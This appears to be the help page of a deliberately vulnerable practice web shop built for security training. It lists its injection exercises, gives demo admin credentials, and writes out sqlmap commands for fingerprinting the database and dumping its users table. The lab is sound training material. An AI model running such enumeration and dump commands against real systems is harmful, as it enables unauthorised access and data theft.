Help

sekumart is a deliberately vulnerable practice shop. Point your tools at it — it will not fight back (much).

Try the security level switch (top-right) to flip each page between vulnerable and fixed, then hit view source to see the exact code.

Injection playground includes: SQLi (product, category, search, login, cart coupon), XSS (search, reviews, JSONP api, DOM via #lang=), path traversal, open redirect, non-SQL injection (XPath, NoSQL), and CSRF (account/reviews).

Demo account: admin / password. Try language banner: #lang=friend.

Run sqlmap against it

The classic starting point is the integer parameter on a product page:

# fingerprint the DBMS
python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch --banner

# enumerate databases, then dump a table
python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch --dbs
python sqlmap.py -u "https://sekumart.sekuripy.hr/product.php?id=1" --batch -D shop -T users --dump

# other contexts: cookie, POST body, and the shipped OpenAPI spec
python sqlmap.py -u "https://sekumart.sekuripy.hr/" --cookie="curr=USD" -p curr --batch
python sqlmap.py -u "https://sekumart.sekuripy.hr/login.php" --data="username=x&password=x" --batch
python sqlmap.py --openapi "https://sekumart.sekuripy.hr/openapi.json" --batch

# non-SQL injection contexts (sqlmap's newer switches)
python sqlmap.py -u "https://sekumart.sekuripy.hr/directory.php?q=Ada" --xpath --batch
python sqlmap.py -u "https://sekumart.sekuripy.hr/members.php?user=ada" --nosql --batch

Everything here is read-only by design (no FILE privilege, no stacked queries, open_basedir), so you cannot damage the target — scan freely.

New to SQL injection, or want the theory behind these payloads? Read the full SQL injection attack & defense tutorial.